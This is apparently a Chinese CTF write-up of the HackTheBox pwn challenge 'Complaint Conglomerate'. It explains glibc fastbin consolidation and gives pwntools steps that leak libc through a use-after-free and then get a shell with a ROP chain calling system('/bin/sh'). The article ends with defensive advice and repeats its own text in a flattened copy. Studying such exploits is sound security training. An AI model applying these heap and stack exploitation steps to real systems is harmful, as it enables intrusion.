分析 fastbin chunk 合并的流程与触发时机:HTB pwn - Complaint Conglomerate
字数 1671 2025-08-22 12:23:30

Fastbin Chunk 合并机制分析与利用

前言

本文详细分析fastbin chunk合并的流程与触发时机,通过HTB Challenge中的"Complaint Conglomerate"题目作为实例,结合glibc源码深入讲解fastbin合并机制及其在漏洞利用中的应用。

题目概述

程序功能分析

这是一个典型的菜单程序,提供以下功能:

  1. 创建投诉(Create a complaint)

    • 可以指定索引(0-15)保存申请的内存
    • 可申请两种大小:0x30和0x50
    • 存在off-by-null漏洞
  2. 删除投诉(Mark a complaint as closed)

    • 释放指定索引的chunk
    • 未清空指针,存在UAF漏洞
  3. 查看投诉(View a complaint by ID)

    • 显示指定索引的chunk内容
    • 可利用UAF进行信息泄露
  4. AI查看投诉(Ask AI to view a complaint)

    • 将指定索引的chunk内容复制到栈中
    • 存在栈溢出漏洞
  5. 退出(Exit)

保护机制

  • Arch: amd64-64-little
  • RELRO: Partial RELRO
  • Stack: No canary found
  • NX: NX enabled
  • PIE: PIE enabled
  • Stripped: No

Fastbin Chunk合并机制

malloc_consolidate函数分析

malloc_consolidate是glibc中负责合并fastbin chunk的核心函数,其主要流程如下:

  1. 初始化设置

    atomic_store_relaxed(&av->have_fastchunks, false);
    unsorted_bin = unsorted_chunks(av);
    
  2. 遍历所有fastbin

    maxfb = &fastbin(av, NFASTBINS - 1);
    fb = &fastbin(av, 0);
    do {
        p = atomic_exchange_acq(fb, NULL);
        if (p != 0) {
            // 处理每个fastbin chunk
        }
    } while (fb++ != maxfb);
    
  3. 处理单个fastbin chunk

    • 安全检查:内存对齐和大小验证
    • 检查prev_inuse位
    • 解密next指针获取下一个chunk地址
  4. 合并操作

    • 向前合并:如果prev_inuse为0,与上一个chunk合并

      if (!prev_inuse(p)) {
          prevsize = prev_size(p);
          size += prevsize;
          p = chunk_at_offset(p, -((long)prevsize));
          unlink_chunk(av, p);
      }
      
    • 向后合并:如果下一个chunk未被使用,与其合并

      if (!nextinuse) {
          size += nextsize;
          unlink_chunk(av, nextchunk);
      }
      
  5. 处理合并后的chunk

    • 如果下一个chunk不是top chunk,插入unsorted bin
    • 如果是top chunk,则合并到top chunk中

触发时机

fastbin chunk合并主要在以下两种情况下被触发:

  1. 申请largebin大小内存时

    idx = largebin_index(nb);
    if (atomic_load_relaxed(&av->have_fastchunks))
        malloc_consolidate(av);
    
  2. 使用top chunk且空间不足时

    else if (atomic_load_relaxed(&av->have_fastchunks)) {
        malloc_consolidate(av);
        // 恢复原始bin索引
        if (in_smallbin_range(nb))
            idx = smallbin_index(nb);
        else
            idx = largebin_index(nb);
    }
    

漏洞利用分析

利用思路

  1. 泄露libc地址

    • 通过触发fastbin合并使chunk进入unsorted bin
    • 利用UAF读取main_arena地址
  2. 栈溢出利用

    • 使用ret2libc技术获取shell
    • 构造ROP链执行system("/bin/sh")

具体步骤

  1. 填充堆空间

    for i in range(9):
        add(i, 0, "add")
    for i in range(2092):
        add(9, 0, "emm")
    
  2. 释放chunk创建fastbin

    for i in range(9):
        dele(i)
    
  3. 触发fastbin合并

    add(10, 1, "11111111")
    
  4. 泄露libc地址

    show(8)
    leak = ru("\x7f\x0a")[-7:-1]
    leak = u64(leak.ljust(8, b"\x00"))
    libc.address = leak - 0x1d2cc0
    
  5. 构造ROP链

    rop = ROP(libc)
    rop.raw(rop.ret)
    rop.system(next(libc.search(b"/bin/sh\x00")))
    payload = cyclic(0x28) + rop.chain()
    
  6. 执行利用

    dele(10)
    add(10, 1, payload)
    send_to_ai(10)
    

关键点总结

  1. fastbin合并条件

    • 需要存在fastbin chunk
    • 在特定malloc场景下触发
  2. 泄露技巧

    • 通过耗尽top chunk空间强制合并
    • 利用UAF读取unsorted bin中的main_arena指针
  3. 利用限制

    • 只能申请0x30和0x50大小的chunk
    • 需要精确计算堆布局
  4. 防护绕过

    • 利用程序逻辑缺陷绕过保护机制
    • 结合堆漏洞和栈漏洞实现完整利用

防御建议

  1. 代码层面

    • 释放指针后及时置NULL
    • 严格检查输入长度,避免off-by-one
    • 对栈拷贝操作进行长度限制
  2. 编译选项

    • 启用栈保护(Stack Canary)
    • 使用Full RELRO
    • 考虑使用FORTIFY_SOURCE
  3. 运行防护

    • 启用ASLR
    • 考虑使用堆保护机制如Safe-Linking

扩展思考

  1. 其他触发fastbin合并的场景

    • 调用malloc_trim时
    • 在特定大小的free操作中
  2. 现代glibc中的变化

    • tcache机制对fastbin合并的影响
    • Safe-Linking对利用的阻碍
  3. 替代利用方法

    • 使用house of系列技术
    • 考虑partial write等技巧

通过深入理解fastbin合并机制,可以更好地应对相关漏洞场景,并开发出更有效的利用方法。

Fastbin Chunk 合并机制分析与利用 前言 本文详细分析fastbin chunk合并的流程与触发时机,通过HTB Challenge中的"Complaint Conglomerate"题目作为实例,结合glibc源码深入讲解fastbin合并机制及其在漏洞利用中的应用。 题目概述 程序功能分析 这是一个典型的菜单程序,提供以下功能: 创建投诉(Create a complaint) 可以指定索引(0-15)保存申请的内存 可申请两种大小:0x30和0x50 存在off-by-null漏洞 删除投诉(Mark a complaint as closed) 释放指定索引的chunk 未清空指针,存在UAF漏洞 查看投诉(View a complaint by ID) 显示指定索引的chunk内容 可利用UAF进行信息泄露 AI查看投诉(Ask AI to view a complaint) 将指定索引的chunk内容复制到栈中 存在栈溢出漏洞 退出(Exit) 保护机制 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No Fastbin Chunk合并机制 malloc_ consolidate函数分析 malloc_consolidate 是glibc中负责合并fastbin chunk的核心函数,其主要流程如下: 初始化设置 遍历所有fastbin 处理单个fastbin chunk 安全检查:内存对齐和大小验证 检查prev_ inuse位 解密next指针获取下一个chunk地址 合并操作 向前合并 :如果prev_ inuse为0,与上一个chunk合并 向后合并 :如果下一个chunk未被使用,与其合并 处理合并后的chunk 如果下一个chunk不是top chunk,插入unsorted bin 如果是top chunk,则合并到top chunk中 触发时机 fastbin chunk合并主要在以下两种情况下被触发: 申请largebin大小内存时 使用top chunk且空间不足时 漏洞利用分析 利用思路 泄露libc地址 通过触发fastbin合并使chunk进入unsorted bin 利用UAF读取main_ arena地址 栈溢出利用 使用ret2libc技术获取shell 构造ROP链执行system("/bin/sh") 具体步骤 填充堆空间 释放chunk创建fastbin 触发fastbin合并 泄露libc地址 构造ROP链 执行利用 关键点总结 fastbin合并条件 需要存在fastbin chunk 在特定malloc场景下触发 泄露技巧 通过耗尽top chunk空间强制合并 利用UAF读取unsorted bin中的main_ arena指针 利用限制 只能申请0x30和0x50大小的chunk 需要精确计算堆布局 防护绕过 利用程序逻辑缺陷绕过保护机制 结合堆漏洞和栈漏洞实现完整利用 防御建议 代码层面 释放指针后及时置NULL 严格检查输入长度,避免off-by-one 对栈拷贝操作进行长度限制 编译选项 启用栈保护(Stack Canary) 使用Full RELRO 考虑使用FORTIFY_ SOURCE 运行防护 启用ASLR 考虑使用堆保护机制如Safe-Linking 扩展思考 其他触发fastbin合并的场景 调用malloc_ trim时 在特定大小的free操作中 现代glibc中的变化 tcache机制对fastbin合并的影响 Safe-Linking对利用的阻碍 替代利用方法 使用house of系列技术 考虑partial write等技巧 通过深入理解fastbin合并机制,可以更好地应对相关漏洞场景,并开发出更有效的利用方法。